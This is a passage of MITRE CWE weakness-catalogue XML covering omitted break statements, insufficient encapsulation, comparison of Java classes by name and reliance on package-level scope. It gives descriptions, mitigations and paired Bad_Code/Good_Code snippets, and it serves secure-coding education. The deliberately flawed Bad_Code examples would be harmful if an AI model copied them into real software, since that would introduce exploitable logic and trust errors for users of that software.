					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>670</Relationship_Target_ID>
					          <!--Always-Incorrect Control Flow Implementation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
					          <Language Language_Name="PHP"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can cause unintended logic to be executed and other
							unexpected application behavior.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>White Box</Method_Name>
					          <Method_Description>
						            <Text>Omission of a break statement might be intentional, in order to
							support fallthrough. Automated detection methods might therefore be
							erroneous. Semantic understanding of expected program behavior is
							required to interpret whether the code is correct.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Since this weakness is associated with a code construct, it would be
							indistinguishable from other errors that produce the same
							behavior.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Omitting a break statement so that one may fall through is often
							indistinguishable from an error, and therefore should be avoided. If you
							need to use fall-through capabilities, make sure that you have clearly
							documented this within the switch statement, and ensure that you have
							examined all the logical possibilities.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The functionality of omitting a break statement could be clarified
							with an if statement. This method is much safer.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In both of these examples, a message is printed based on the month
						passed into the function:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void printMessage(int month){</Code>
							              <Block>
								                <Code>switch (month) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>case 1: print("January");</Code>
									                  <Code>case 2: print("February");</Code>
									                  <Code>case 3: print("March");</Code>
									                  <Code>case 4: print("April");</Code>
									                  <Code>case 5: print("May");</Code>
									                  <Code>case 6: print("June");</Code>
									                  <Code>case 7: print("July");</Code>
									                  <Code>case 8: print("August");</Code>
									                  <Code>case 9: print("September");</Code>
									                  <Code>case 10: print("October");</Code>
									                  <Code>case 11: print("November");</Code>
									                  <Code>case 12: print("December");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>println(" is a great month");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>void printMessage(int month){</Code>
							              <Block>
								                <Code>switch (month) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>case 1: printf("January");</Code>
									                  <Code>case 2: printf("February");</Code>
									                  <Code>case 3: printf("March");</Code>
									                  <Code>case 4: printf("April");</Code>
									                  <Code>case 5: printff("May");</Code>
									                  <Code>case 6: printf("June");</Code>
									                  <Code>case 7: printf("July");</Code>
									                  <Code>case 8: printf("August");</Code>
									                  <Code>case 9: printf("September");</Code>
									                  <Code>case 10: printf("October");</Code>
									                  <Code>case 11: printf("November");</Code>
									                  <Code>case 12: printf("December");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>printf(" is a great month");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Both examples do not use a break statement after each case, which
							leads to unintended fall-through behavior. For example, calling
							"printMessage(10)" will result in the text "OctoberNovemberDecember is a
							great month" being printed.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Switch Statements", Page 337.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Omitted break statement</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Detection_Factors, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples,
						Description, Detection_Factors, Name, Other_Notes, Potential_Mitigations,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-11-24">Omitted Break
						Statement</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="485" Name="Insufficient Encapsulation" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not sufficiently encapsulate critical data or
					functionality.</Description_Summary>
				        <Extended_Description>
					          <Text>Encapsulation is about drawing strong boundaries. In a web browser that
						might mean ensuring that your mobile code cannot be abused by other mobile
						code. On the server it might mean differentiation between validated data and
						unvalidated data, between one user's data and another's, or between data
						users are allowed to see and data that they are not.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>881</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This node has to be considered in relation to CWE-732 and CWE-269.</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>See terminology notes on the multiple uses of the "encapsulation"
						term.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>The "encapsulation" term is used in multiple ways. Within some security
						sources, the term is used to describe the establishment of boundaries
						between different control spheres. Within general computing circles, it is
						more about hiding implementation details and maintainability than security.
						Even within the security usage, there is also a question of whether
						"encapsulation" encompasses the entire range of security problems.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Encapsulation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Declare data members private</Mapped_Node_Name>
					          <Mapped_Node_ID>OOP00-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes, Relationships,
						Taxonomy_Mappings, Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Encapsulation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="486" Name="Comparison of Classes by Name" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program compares classes by name, which can cause it to use
					the wrong class when multiple classes can have the same
					name.</Description_Summary>
				        <Extended_Description>
					          <Text>If the decision to trust the methods and data of an object is based on the
						name of a class, it is possible for malicious users to send objects of the
						same name as trusted classes and thereby gain the trust afforded to known
						classes and types.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a program relies solely on the name of an object to determine
							identity, it may execute the incorrect or unintended code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use class equivalency to determine type. Rather than use the class
							name to determine if an object is of a given type, use the getClass()
							method, and == operator.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, the expression in the if statement compares the
						class of the inputClass object to a trusted class by comparing the class
						names.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>if (inputClass.getClass().getName().equals("TrustedClassName"))
								{</Code>
							              <Block>
								                <Comment>// Do something assuming you trust inputClass</Comment>
								                <Comment>// ...</Comment>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, multiple classes can have the same name therefore comparing
							an object's class by name can allow untrusted classes of the same name
							as the trusted class to be use to execute unintended or incorrect code.
							To compare the class of an object to the intended class the getClass()
							method and the comparison operator "==" should be used to ensure the
							correct trusted class is used, as shown in the following example.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>if (inputClass.getClass() == TrustedClass.class) {</Code>
							              <Block>
								                <Comment>// Do something assuming you trust inputClass</Comment>
								                <Comment>// ...</Comment>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, the Java class, TrustedClass, overrides the equals
						method of the parent class Object to determine equivalence of objects of the
						class. The overridden equals method first determines if the object, obj, is
						the same class as the TrustedClass object and then compares the object's
						fields to determine if the objects are equivalent.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class TrustedClass {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code/>
								                <Code>@Override</Code>
								                <Code>public boolean equals(Object obj) {</Code>
								                <Block>
									                  <Code>boolean isEquals = false;</Code>
									                  <Code/>
									                  <Comment>// first check to see if the object is of the same
										class</Comment>
									                  <Code>if
										(obj.getClass().getName().equals(this.getClass().getName()))
										{</Code>
									                  <Block>
										                    <Code/>
										                    <Comment>// then compare object fields</Comment>
										                    <Code>...</Code>
										                    <Code>if (...) {</Code>
										                    <Block>
											                      <Code>isEquals = true;</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
									                  <Code>return isEquals;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the equals method compares the class names of the object,
							obj, and the TrustedClass object to determine if they are the same
							class. As with the previous example using the name of the class to
							compare the class of objects can lead to the execution of unintended or
							incorrect code if the object passed to the equals method is of another
							class with the same name. To compare the class of an object to the
							intended class, the getClass() method and the comparison operator "=="
							should be used to ensure the correct trusted class is used, as shown in
							the following example.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public boolean equals(Object obj) {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code/>
								                <Comment>// first check to see if the object is of the same
									class</Comment>
								                <Code>if (obj.getClass() == this.getClass()) {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Relevant_Properties>
				        <Relevant_Property>Equivalence</Relevant_Property>
				        <Relevant_Property>Uniqueness</Relevant_Property>
			      </Relevant_Properties>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Comparing Classes by Name</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Comparing classes by name</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Compare classes and not class names</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ09-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Relationships,
						Other_Notes, Relevant_Properties, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Comparing Classes by
						Name</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="487" Name="Reliance on Package-level Scope" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Java packages are not inherently closed; therefore, relying on
					them for code security is not a good practice.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>850</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 05 - Methods (MET)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The purpose of package scope is to prevent accidental access. However,
						this protection provides an ease-of-software-development feature but not a
						security feature, unless it is sealed.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Any data in a Java package can be accessed outside of the Java
							framework if the package is distributed.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The data in a Java class can be modified by anyone outside of the Java
							framework if the packages is distributed.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Design through Implementation: Data should be private static and final
							whenever possible. This will assure that your code is protected by
							instantiating early, preventing access and tampering.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>package math;</Code>
							              <Code>public class Lebesgue implements Integration{</Code>
							              <Block>
								                <Code>public final Static String
									youAreHidingThisFunction(functionToIntegrate){</Code>
								                <Block>
									                  <Code/>
									                  <Code>return ...;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Relying on package-level scope</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not increase the accessibility of overridden or hidden
						methods</Mapped_Node_Name>
					          <Mapped_Node_ID>MET04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
